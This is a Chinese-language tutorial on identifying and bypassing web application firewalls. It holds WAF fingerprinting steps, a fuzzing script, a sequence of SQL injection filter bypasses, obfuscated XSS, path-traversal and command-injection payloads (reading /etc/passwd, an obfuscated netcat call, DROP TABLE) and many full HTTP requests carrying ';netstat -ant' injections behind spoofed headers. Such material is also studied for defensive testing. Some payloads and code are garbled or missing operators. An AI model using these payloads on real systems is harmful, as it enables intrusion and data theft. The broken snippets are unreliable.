如何识别WAF
在请求中设置自己的cookie,例如:Citrix、Netscaler、Yunsuo WAF、safedog。
在header中关联,例如:Anquanbao WAF、AmazonAWSWAF。
经常更改标头和混乱的字符以使攻击者感到困惑,例如:Netscaler、Big-IP。
在服务器头数据包中暴露自己,例如: Approach、WTS WAF。
一些WAF在响应内容body中公开自身。例如:DotDefender、Armor、Sitelock。
其他WAF会对恶意请求做出不寻常的响应代码答复。例如:WebKnight、360WAF。
有些WAF会返回一堆垃圾数据。例如:百度云加速乐。
检测技术:
- 从浏览器发出普通的GET请求,拦截并记录响应头(特别是cookie)。
- 从命令行(例如curl)发出请求,并测试响应内容和标头(不包括user-agent)。
- 向随机开放的端口发出GET请求,并抓住可能暴露WAF身份的标语。
- 如果某处有登录页面,表单页面等.请尝试一些常见的(易于检测的)有效负载,例如 " or 1=1 -- -
- 将../../../etc/passwd附加到URL末尾的随机参数
- 在url的末尾添加一些吸引人的关键字,如'or sleep(5)‘
- 使用过时的协议(如http/0.9)发出get请求(http/0.9不支持post类型查询)。
- 很多时候,waf根据不同的交互类型改变服务器头。
- 删除操作技术-发送一个原始的fin/rst包到服务器并识别响应。
- 侧通道攻击-检查请求和响应内容的计时行为。
主流WAF指纹识别:
识别工具
wafw00f https://github.com/enablesecurity/wafw00f 28
identywaf https://github.com/stamparm/identywaf 7
WAF绕过技巧
Fuzzing绕过
测试受阻
在对waf测试过程中,下面这段请求被WAF拦截
GET /get/index.jsp?id=payload HTTP/1.1 Host: 192.168.1.101 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
选择Fuzzing字典
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing 16
https://github.com/fuzzdb-project/fuzzdb/tree/master/attack 6
https://github.com/foospidy/payloads 7
脚本编写
def fuzzing(payload): payloads = [] special_chars = ['r', 'n', 't', '_', '~', '&', '-', '=', '/', '*','^', '$', ',', '.', '/', '<', '>', '|', '/**/', '--','rn', '||'] #special_chars 字典在步骤2中选择合适的 for char in special_chars: for k in range(len(payload)): try: temp_payload = payload[:k] char payload[k:] payloads.append(temp_payload) except Exception as e: print(e) return payloads
SQL注入
过滤关键词:and
, or
, union
可能正则: preg_match('/(and|or|union)/i', $id)
- Blocked: union select user, password from users - Bypass: 1 || (select user from users where user_id = 1) = 'admin'
过滤关键词: and
, or
, union
, where
- Blocked: 1 || (select user from users where user_id = 1) = 'admin' - Bypass: 1 || (select user from users limit 1) = 'admin'
过滤关键词: and
, or
, union
, where
, limit
- Blocked: 1 || (select user from users limit 1) = 'admin' - Bypass: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
过滤关键词: and
, or
, union
, where
,limit
, group by
, select
- Blocked: 1 || (select user from users group by user_id having user_id = 1) = 'admin' - Bypass: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键词: and
, or
, union
, where
,limit
, group by
, select
- Blocked: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 - Bypass: 1 || 1 = 1 into outfile 'result.txt' - Bypass: 1 || substr(user,1,1) = 'a'
过滤关键词: and
, or
, union
, where
,limit
, group by
, select
, '
- Blocked: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 - Bypass: 1 || user_id is not null - Bypass: 1 || substr(user,1,1) = 0x61 - Bypass: 1 || substr(user,1,1) = unhex(61)
过滤关键词: and
, or
, union
, where
,limit
, group by
, select
,'
,hex
- Blocked: 1 || substr(user,1,1) = unhex(61) - Bypass: 1 || substr(user,1,1) = lower(conv(11,10,36))
过滤关键词: and
, or
, union
, where
,limit
, group by
, select
,'
,hex
, substr
- Blocked: 1 || substr(user,1,1) = lower(conv(11,10,36)) - Bypass: 1 || lpad(user,7,1)
过滤关键词: and
, or
, union
, where
,limit
, group by
, select
,'
,hex
, substr
,white space
- Blocked: 1 || lpad(user,7,1) - Bypass: 1||lpad(user,7,1)
技巧三:混淆
大小写切换
一些开发不完善的WAF会选择性过滤特定案例的WAF。.
我们可以结合使用大小写字符来开发有效的有效载荷.
Standard: <script>alert()</script> Bypassed: <ScRipT>alert()</sCRipT> Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME' Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
url编码
使用%编码/ URL编码对普通有效载荷进行编码。
在线工具
Burp包含一个内置编码器/解码器
Blocked: <svG/x=">"/oNloaD=confirm()// Bypassed:
Unicode规范化
unicode编码编码的ASCII字符为绕过提供了很大的Bapass
您可以对整个/部分有效载荷进行编码以获得结果
Standard: <marquee onstart=prompt()> Obfuscated: <marquee onstart=u0070ru06fu006dpt()> Blocked: /?redir=http://google.com Bypassed: /?redir=http://google。com (Unicode替代) Blocked: <marquee loop=1 onfinish=alert()>x Bypassed: <marquee loop=1 onfinish=alert︵1)>x (Unicode替代) Standard: ../../etc/passwd Obfuscated: �AE�AE�AF�AE�AE�AFetc�AFpasswd
HTML Representation
通常,网络应用会将特殊字符编码为HTML编码,并相应地进行渲染.
Standard: "><img src=x onerror=confirm()> Encoded: "><img src=x onerror=confirm()> (一般形式) Encoded: "><img src=x onerror=confirm()> (html编码)
混合编码
有时,WAF规则通常倾向于滤除特定类型的编码.
混合编码有效载荷可以绕过这种类型的过滤器.
制表符和换行符进一步增加了混淆.
Obfuscated:
<A HREF="h tt p://6 6.000146.0x7.147/">XSS</A>
使用注释
注释混淆标准有效载荷向量.
不同的有效载荷具有不同的混淆方式.
Blocked: <script>alert()</script> Bypassed: <!--><script>alert/**/()/**/</script> Blocked: /?id=1 union select 1,2,3-- Bypassed: /?id=1 un/**/ion sel/**/ect 1,2,3--
双重编码
通常,WAF过滤器倾向于对字符进行编码以防止攻击.
但是,开发不完善的过滤器(没有递归过滤器)可以使用双重编码来绕过.
Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c dir c: Obfuscated: http://victim/cgi/%2E%2E%2F%2E%2E%2Fwinnt/system32/cmd.exe?/c dir c: Standard: <script>alert()</script> Obfuscated: %3Cscript%3Ealert()%3C%2Fscript%3E
通配混淆
各种命令行实用程序都使用通配符模式来处理多个文件.
我们可以调整它们以执行系统命令.
特定于linux系统上的远程执行代码漏洞.
Standard: /bin/cat /etc/passwd Obfuscated: /???/??t /???/??ss?? Used chars: / ? t s Standard: /bin/nc 127.0.0.1 1337 Obfuscated: /???/n? 2130706433 1337 Used chars: / ? n [0-9]
动态有效载荷生成
不同的编程语言具有不同的连接语法和模式.
这使我们能够有效地生成可以绕过许多过滤器和规则的有效载荷.
Standard: <script>alert()</script> Obfuscated: <script>eval('al' 'er' 't()')</script> Standard: /bin/cat /etc/passwd Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd Standard: <iframe/onload='this["src"]="javascript:alert()"';> Obfuscated: <iframe/onload='this["src"]="jav" "as	cr" "ipt:al" "er" "t()"';>
根据这个思路,我们可以继续向其延申
<svg/onload=self[`al` `ert`]`1`> <svg/onload=window[`al` `ert`]`1`> <svg/onload=parent[`al` `ert`]`1`> <svg/onload=self[`al` `ert`]`1`> <svg/onload=top[`al` `ert`]`1`> <svg/onload=frames[`al` `ert`]`1`> <svg/onload=self.frames[`al` `ert`]`1`> <svg/onload=self.top[`al` `ert`]`1`> <svg/onload=self.self[`al` `ert`]`1`> <svg/onload=self.parent[`al` `ert`]`1`> <svg/onload=self.window[`al` `ert`]`1`> <svg/onload=top[`al` `ert`](`docu` `ment.cookie`)> <svg/onload=self[`aler` `t`]`1`> <svg/onload=self[`al` `ert`]`1`> <svg/onload=self[`al`+`ert`]`1`>
垃圾字符
正常的有效载荷很容易被过滤掉.
添加一些垃圾字符有助于避免检测(仅限特定情况).
它们通常有助于混淆基于正则表达式的防火墙.
Standard: <script>alert()</script> Obfuscated: <script> - -1- - alert(1)</script> Standard: <BODY onload=alert()> Obfuscated: <BODY onload!#$%&()*~ -_.,:;?@[/|]^=alert()>`
Standard: <a href=javascript;alert()>ClickMe Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
换行符
许多具有基于正则表达式的WAF可以有效地阻止许多尝试.
换行符(CR / LF)可以破坏防火墙的正则表达式并绕过某些东西.
Standard: <iframe src=javascript:confirm(0)"> Obfuscated: <iframe src="
j
a
v
a
s
c
r
i
p
t
:confirm(0)">
未初始化的变量
初始化的bash变量可以规避基于正则表达式的错误过滤器和模式匹配.
它们的值等于null /它们的作用类似于空字符串.
bash和perl都允许这种解释.
变量名称可以具有任意数量的随机字符。我在这里将它们表示为$ aaaaaa,$ bbbbbb等。您可以将它们替换为任意数量的随机字符,例如$ ushdjah等 .
- Level 1 混淆: Normal Standard: /bin/cat /etc/passwd Obfuscated: /bin/cat$u /etc/passwd$u - Level 2 混淆: Postion Based Standard: /bin/cat /etc/passwd Obfuscated: $u**/bin**$u**/cat**$u $u**/etc**$u**/passwd**$u - Level 3 混淆: Random characters Standard: /bin/cat /etc/passwd Obfuscated: $aaaaaa**/bin**$bbbbbb**/cat**$ccccccc $dddddd**/etc**$eeeeeee**/passwd**$fffffff
精心制作的payload:
$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
制表符和换行符
选项卡通常有助于规避防火墙,尤其是基于正则表达式的防火墙.
当正则表达式需要空格而不是制表符时,制表符可以帮助打破防火墙正则表达式.
Standard: <IMG SRC="javascript:alert();"> Bypassed: <IMG SRC=" javascript:alert();"> Variant: <IMG SRC=" jav ascri pt:alert ();"> Standard: http://test.com/test?id=1 union select 1,2,3 Standard: http://test.com/test?id=1 union#
select--
1,2,3 Standard: <iframe src=javascript:alert(1)></iframe> Obfuscated:<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	(	1	)></iframe>
令牌破坏者
对令牌生成器的攻击试图打破在令牌破坏者的帮助下将请求拆分为令牌的逻辑.
令牌破译器是允许影响字符串元素和某个令牌之间的对应关系的符号,从而绕过通过签名进行搜索.
但是,在使用令牌断开器时,请求必须仍然有效.
- Case: Unknown Token for the Tokenizer - Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users -- - Case: Unknown Context for the Parser (Notice the uncontexted bracket) - Payload 1: ?id=123);DROP TABLE users -- - Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --
burpsuit插件
https://github.com/codewatchorg/bypasswaf 11
X-Originating-IP
用户可以修改在每个请求中发送的X-Originating-IP,X-Forwarded-For,X-Remote-IP,X-Remote-Addr头。 这可能是顶部绕过技术的工具。 将WAF配置为信任自己(127.0.0.1)或上游代理设备是常见的,这是此绕过目标。
原始请求 | 插件改变后 |
---|---|
X-Originating-IP:原始IP | X-Originating-IP:127.0.0.1 |
X-Forwarded-For:原始IP | X-Forwarded-For:127.0.0.1 |
X-Remote-IP:原始IP | X-Remote-IP:127.0.0.1 |
X-Remote-Addr:原始IP | X-Remote-Addr:127.0.0.1 |
案例X-Originating-IP > 127.0.0.1:
GET /get/?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close X-Forwarded-For:127.0.0.2 Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
Content-type
“Content-Type”头部在每个请求中可以保持不变,从所有请求中删除,或者修改为每个请求的许多其他选项之一。 一些WAF将仅仅基于已知内容类型来解码/评估请求,这个特征针对该弱点。
原始请求 | 结果 |
---|---|
Content-Type:原始 | Content-Type:原始 |
Content-Type:原始 | 删除Content-Type |
Content-Type:原始 | Content-Type: invalid |
Content-Type:原始 | Content-Type: example |
Content-Type:原始 | Content-Type: multipart/ |
Content-Type:原始 | Content-Type: multipart/digest |
Content-Type:原始 | Content-Type: multipart/digest; boundary=0000 |
Content-Type:原始 | Content-Type: multipart/; boundary=0000 |
案例:
POST /post_key/main.jsp HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Typeapplication/x-www-form-urlencoded Referer: http://10.100.12.249:8080/post_key/ Content-Length: 30 Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1 Content-Type: multipart/; boundary=0000 name=;netstat -ant &pass=1
Host
也可以修改“主机”标题。 配置不当的WAF可能配置为仅根据此标头中找到的主机的正确FQDN来评估请求,这是此绕过目标。
案例:
POST /post_key/main.jsp HTTP/1.1 Host: 改变这里 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Typeapplication/x-www-form-urlencoded Referer: http://10.100.12.249:8080/post_key/ Content-Length: 30 Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1 Content-Type: multipart/; boundary=0000 name=;netstat -ant &pass=1
Pathinfo
路径注入功能可以不修改请求,注入随机路径信息(/path/to/example.php/randomvalue?restofquery),或注入随机路径参数(/path/to/example.php;randomparam=randomvalue? resetofquery)。 这可以用于绕过依赖于路径信息的编写不良的规则。
- 原始请求
GET /get/?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- Pathinfoinjection
GET /get//fhwa84a04vq8a0jnefo?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- PathParametwesinjection
GET /get/;mhz=cpv?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
#### PathObfuscation > 路径混淆功能将路径中的最后一个正斜杠修改为随机值,或者默认情况下不做任何操作。 最后一个斜杠可以修改为许多值中的一个,在许多情况下导致仍然有效的请求,但是可以绕过依赖于路径信息的写得不好的WAF规则。 - 原始请求 ```http GET /get/?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- PathObfuscation_//
GET /get///////?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- PathObfuscation_/./
GET /get/././?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- PathObfuscation_/random/./
GET /get/co7t/../co7t/../?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- PathObfuscation_
GET get?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- PathObfuscation_/.//
GET /get/.//.//?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- PathObfuscation_/./
GET /get/././\?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- PathObfuscation_/.
GET /get/..?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- ParamObfuscation
- 原始请求
GET /get/?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- ParamObfuscation_
GET /get/? id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- ParamObfuscation_%
GET /get/?%id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- ParamObfuscation_
GET /get/? id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- ParamObfuscation_
GET /get/? id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
HPP
对已有参数进行赋值,参数污染
- 原始攻击
GET /get/?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- HPP.First_test(赋值test)
GET /get/?id=;netstat -ant&id=test&id=test&id=test HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- HPP.Last_test
GET /get/?id=test&id=test&id=test&id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
SpaceEncoding
对空格进行编码
- 原始攻击
GET /get/?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1
- URL编码
- %u编码
GET /get/?id=;netstat -ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1 Content-Length: 6
- Double URL
GET /get/?id=;netstat%00-ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1 Content-Length: 6
- Double Double
GET /get/?id=;netstat%00-ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1 Content-Length: 6
- HEX
GET /get/?id=;netstatx00-ant HTTP/1.1 Host: 10.100.12.249:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=B4640D0258CA8C041F8102EE58A1E76B Upgrade-Insecure-Requests: 1 Content-Length: 6
绕过实战
字符编码绕过WAF
在进行测试时候发现下面这段请求被拦截,很明显带有注入特征
POST /sample.aspx?input0=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41 input1='union all select * from users--
我们使用下面的编码技术进行编码绕过
import urllib def paramEncode(params="", charset="IBM037", encodeEqualSign=False, encodeAmpersand=False, urldecodeInput=True, urlencodeOutput=True): result = "" equalSign = "=" ampersand = "&" if encodeEqualSign: equalSign = equalSign.encode(charset) if encodeAmpersand: ampersand = ampersand.encode(charset) params_list = params.split("&") for param_pair in params_list: param, value = param_pair.split("=") if urldecodeInput: param = urllib.unquote(param).decode('utf8') value = urllib.unquote(value).decode('utf8') param = param.encode(charset) value = value.encode(charset) if urlencodeOutput: param = urllib.quote_plus(param) value = urllib.quote_plus(value) if result: result = ampersand result = param equalSign value return result # for IIS print paramEncode("input1='union all select * from users--") # prints ������=}�����@���@������@@����@�����``
编码后变成下面这段请求,可以成功进行bypass
POST /sample.aspx?������=��������� HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=ibm037 Content-Length: 115 ������=}�����@���@������@@����@�����``
